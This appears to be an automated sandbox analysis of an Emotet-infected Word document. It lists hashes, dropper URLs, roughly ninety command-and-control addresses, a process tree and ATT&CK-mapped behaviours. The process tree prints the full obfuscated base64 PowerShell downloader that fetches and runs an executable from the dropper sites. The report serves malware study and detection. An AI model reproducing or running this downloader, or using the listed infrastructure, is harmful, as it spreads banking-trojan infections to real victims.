emotet | fa402b46a58df4de9b7f67dcd0b60999758aa5223df069063ad1780aa750e108

Analysis

max time kernel
136s
max time network
133s
platform
windows10_x64
resource
win10
submitted
01/10/2020, 11:44

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General

Target
emotet_e1_fa402b46a58df4de9b7f67dcd0b60999758aa5223df069063ad1780aa750e108_2020-10-01__114016165459._doc.doc
Size 150KB
Sample201001-cv5dr3f1j2
SHA256 fa402b46a58df4de9b7f67dcd0b60999758aa5223df069063ad1780aa750e108
MD5 87ea2fa1e0fd95b43a6571857b16b07a
SHA1 40c3b86cffec392b907d300f5dcf22cf16ccd122
SHA512 bc0535e31d0f47c6d5e2de7103a7f95862f6e5c5a4672de77853dacee3fb30185c2f8682e791055d81a9f836b7e8236afae1d3c3027646ea4b639dc23b76f566
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://blog.zunapro.com/wp-admin/i/
exe.dropper
http://brycebrumley.com/wp-admin/IR/
exe.dropper
http://electronicsvibes.com/wp-includes/A9n/
exe.dropper
http://ashgroup.org/wp-snapshots/Ap/
exe.dropper
https://beu-hr.com/9gqqi5eat/K2y/
exe.dropper
https://manhtien.net/wp-includes/Tw3/
exe.dropper
http://pattanitkpark.com/gipe2h/BIY/

Extracted

Family

emotet

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1764	3676	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1460-14-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/1460-15-0x00000000004D0000-0x00000000004E0000-memory.dmp	emotet
behavioral2/memory/640-18-0x00000000004F0000-0x0000000000502000-memory.dmp	emotet
behavioral2/memory/640-19-0x0000000000510000-0x0000000000520000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
13	1764	POwersheLL.exe
15	1764	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1460	V48gx0a.exe
640	CloudExperienceHostCommon.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msvcr100_clr0400\CloudExperienceHostCommon.exe	V48gx0a.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3080	WINWORD.EXE
3080	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1764	POwersheLL.exe
1764	POwersheLL.exe
1764	POwersheLL.exe
640	CloudExperienceHostCommon.exe
640	CloudExperienceHostCommon.exe
640	CloudExperienceHostCommon.exe
640	CloudExperienceHostCommon.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1764	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3080	WINWORD.EXE
3080	WINWORD.EXE
3080	WINWORD.EXE
3080	WINWORD.EXE
3080	WINWORD.EXE
3080	WINWORD.EXE
3080	WINWORD.EXE
3080	WINWORD.EXE
3080	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 1460	1764	POwersheLL.exe	80
PID 1764 wrote to memory of 1460	1764	POwersheLL.exe	80
PID 1764 wrote to memory of 1460	1764	POwersheLL.exe	80
PID 1460 wrote to memory of 640	1460	V48gx0a.exe	82
PID 1460 wrote to memory of 640	1460	V48gx0a.exe	82
PID 1460 wrote to memory of 640	1460	V48gx0a.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_fa402b46a58df4de9b7f67dcd0b60999758aa5223df069063ad1780aa750e108_2020-10-01__114016165459._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3080

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABGAHgAawB6AHoAYwBhAD0AKAAnAFgAMQAnACsAJwBpACcAKwAoACcAdQAnACsAJwAxADQAawAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAcgBwAFIATwBGAEkAbABlAFwAbAA0AHoAMgBSAHYAXwBcAHcAbgB4AFUAegBoAFkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAHUAcgBpAFQAYABZAGAAcABSAGAAbwBUAE8AYABjAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACgAJwAxADIALAAnACsAJwAgAHQAbABzACcAKwAnADEAMQAsACcAKwAnACAAJwApACsAJwB0AGwAJwArACcAcwAnACkAOwAkAFYAcgBxAHcAdABrAGUAIAA9ACAAKAAnAFYANAAnACsAKAAnADgAJwArACcAZwB4ACcAKQArACcAMABhACcAKQA7ACQAQgA2ADAAaQBqAHIAYQA9ACgAKAAnAFUAOQAnACsAJwBvACcAKQArACgAJwA4ACcAKwAnAF8AcQAnACkAKwAnADMAJwApADsAJABOAGIAbgA0AHcAOABiAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAZAAnACsAJwBXADcAJwApACsAKAAnAEwANAAnACsAJwB6ADIAcgAnACkAKwAnAHYAXwAnACsAKAAnAGQAVwAnACsAJwA3AFcAbgB4ACcAKQArACgAJwB1AHoAaAB5AGQAVwAnACsAJwA3ACcAKQApAC4AIgByAGUAUABsAGAAQQBjAEUAIgAoACgAJwBkAFcAJwArACcANwAnACkALABbAHMAVABSAEkATgBHAF0AWwBjAEgAYQByAF0AOQAyACkAKQArACQAVgByAHEAdwB0AGsAZQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAVQA3ADUAMwBtAHAANAA9ACgAKAAnAEMAaQAxACcAKwAnADcAawAnACkAKwAnAHMANgAnACkAOwAkAFYAOABlADUAMgBiADcAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAEkARQBOAFQAOwAkAFIAOQBwAGIAYQBnAG8APQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvACcAKwAoACcALwBiAGwAJwArACcAbwBnACcAKwAnAC4AegAnACkAKwAoACcAdQAnACsAJwBuAGEAcAByAG8ALgAnACkAKwAoACcAYwBvAG0ALwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwArACcAaQAvACoAJwApACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AYgByAHkAJwArACcAYwAnACkAKwAnAGUAYgAnACsAKAAnAHIAdQBtAGwAJwArACcAZQB5AC4AYwBvACcAKwAnAG0ALwAnACsAJwB3AHAALQBhAGQAJwApACsAKAAnAG0AJwArACcAaQBuAC8ASQBSAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAcAAnACsAJwA6AC8ALwBlAGwAJwApACsAKAAnAGUAYwAnACsAJwB0AHIAJwApACsAKAAnAG8AbgBpAGMAJwArACcAcwB2ACcAKQArACgAJwBpAGIAZQBzAC4AJwArACcAYwBvAG0ALwAnACsAJwB3AHAALQBpAG4AYwAnACsAJwBsACcAKwAnAHUAZABlAHMAJwArACcALwAnACkAKwAoACcAQQA5AG4ALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AYQAnACsAJwBzAGgAZwByACcAKwAnAG8AdQBwACcAKQArACgAJwAuACcAKwAnAG8AcgBnACcAKQArACcALwB3ACcAKwAoACcAcAAtAHMAbgAnACsAJwBhAHAAJwApACsAKAAnAHMAaABvACcAKwAnAHQAJwApACsAKAAnAHMALwBBAHAAJwArACcALwAnACkAKwAnACoAJwArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAAnACsAJwBzADoALwAvAGIAZQB1ACcAKQArACcALQAnACsAKAAnAGgAJwArACcAcgAuAGMAbwBtACcAKwAnAC8AOQBnAHEAJwArACcAcQBpACcAKQArACcANQAnACsAKAAnAGUAJwArACcAYQB0AC8AJwApACsAKAAnAEsAJwArACcAMgB5AC8AJwArACcAKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAnACsAJwAvAG0AYQAnACkAKwAoACcAbgBoAHQAJwArACcAaQBlAG4AJwArACcALgBuACcAKQArACgAJwBlAHQALwB3ACcAKwAnAHAALQBpAG4AYwBsACcAKwAnAHUAZABlACcAKwAnAHMALwBUACcAKwAnAHcAMwAnACsAJwAvACcAKQArACcAKgAnACsAJwBoAHQAJwArACgAJwB0AHAAOgAvAC8AJwArACcAcABhAHQAdABhAG4AJwArACcAaQB0ACcAKQArACcAawAnACsAKAAnAHAAYQAnACsAJwByAGsALgAnACkAKwAoACcAYwBvAG0ALwBnACcAKwAnAGkAJwApACsAKAAnAHAAZQAyACcAKwAnAGgAJwApACsAJwAvACcAKwAnAEIAJwArACgAJwBJAFkAJwArACcALwAnACkAKQAuACIAcwBwAEwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAG0AdwA1AGQAMwB0AD0AKAAoACcAUwAnACsAJwB3ACcAKwAnADMANABvAG8AJwApACsAJwBwACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAMABqAG0AMABsAHoAIABpAG4AIAAkAFIAOQBwAGIAYQBnAG8AKQB7AHQAcgB5AHsAJABWADgAZQA1ADIAYgA3AC4AIgBEAG8AdwBuAGwAbwBgAEEAYABkAGYAYABJAEwARQAiACgAJABSADAAagBtADAAbAB6ACwAIAAkAE4AYgBuADQAdwA4AGIAKQA7ACQAQgB0AG8AMgBlAGoAdwA9ACgAKAAnAEEAJwArACcAOABmACcAKQArACgAJwBiACcAKwAnADMAZQAnACkAKwAnAG0AJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAE4AYgBuADQAdwA4AGIAKQAuACIAbABgAGUAbgBHAHQAaAAiACAALQBnAGUAIAAyADUANwA3ADUAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQATgBiAG4ANAB3ADgAYgApADsAJABEAGwAeQA1ADkAagBfAD0AKAAoACcASwAnACsAJwBjADEAeQAnACkAKwAoACcAYQAnACsAJwB4AHoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEkANQAyAGQAZQBlAG0APQAoACcAWgAnACsAKAAnADQAaAB4ACcAKwAnAHIAegAnACkAKwAnAHUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADEAagBkADIAdgBlAD0AKAAoACcASwBvADIAJwArACcAaAA4ACcAKQArACcAXwBhACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Users\Admin\L4z2rv_\Wnxuzhy\V48gx0a.exe
  "C:\Users\Admin\L4z2rv_\Wnxuzhy\V48gx0a.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1460
- - C:\Windows\SysWOW64\msvcr100_clr0400\CloudExperienceHostCommon.exe
    "C:\Windows\SysWOW64\msvcr100_clr0400\CloudExperienceHostCommon.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:640

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/640-19-0x0000000000510000-0x0000000000520000-memory.dmp

Download

memory/640-18-0x00000000004F0000-0x0000000000502000-memory.dmp

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memory/1460-15-0x00000000004D0000-0x00000000004E0000-memory.dmp

Download

memory/1460-14-0x00000000004B0000-0x00000000004C2000-memory.dmp

Download

memory/1764-9-0x0000023E24490000-0x0000023E24491000-memory.dmp

Download

memory/1764-10-0x0000023E3C7B0000-0x0000023E3C7B1000-memory.dmp

Download

memory/1764-8-0x00007FFA78EE0000-0x00007FFA798CC000-memory.dmp

Download

memory/3080-0-0x00007FFA80210000-0x00007FFA808D6000-memory.dmp

Download

memory/3080-7-0x0000015C75826000-0x0000015C75837000-memory.dmp

Download

memory/3080-6-0x0000015C75826000-0x0000015C75837000-memory.dmp

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memory/3080-5-0x0000015C75826000-0x0000015C75837000-memory.dmp

Download

memory/3080-4-0x0000015C75826000-0x0000015C75837000-memory.dmp

Download

memory/3080-3-0x0000015C757B3000-0x0000015C757B6000-memory.dmp

Download

memory/3080-1-0x0000015C75090000-0x0000015C75094000-memory.dmp

Download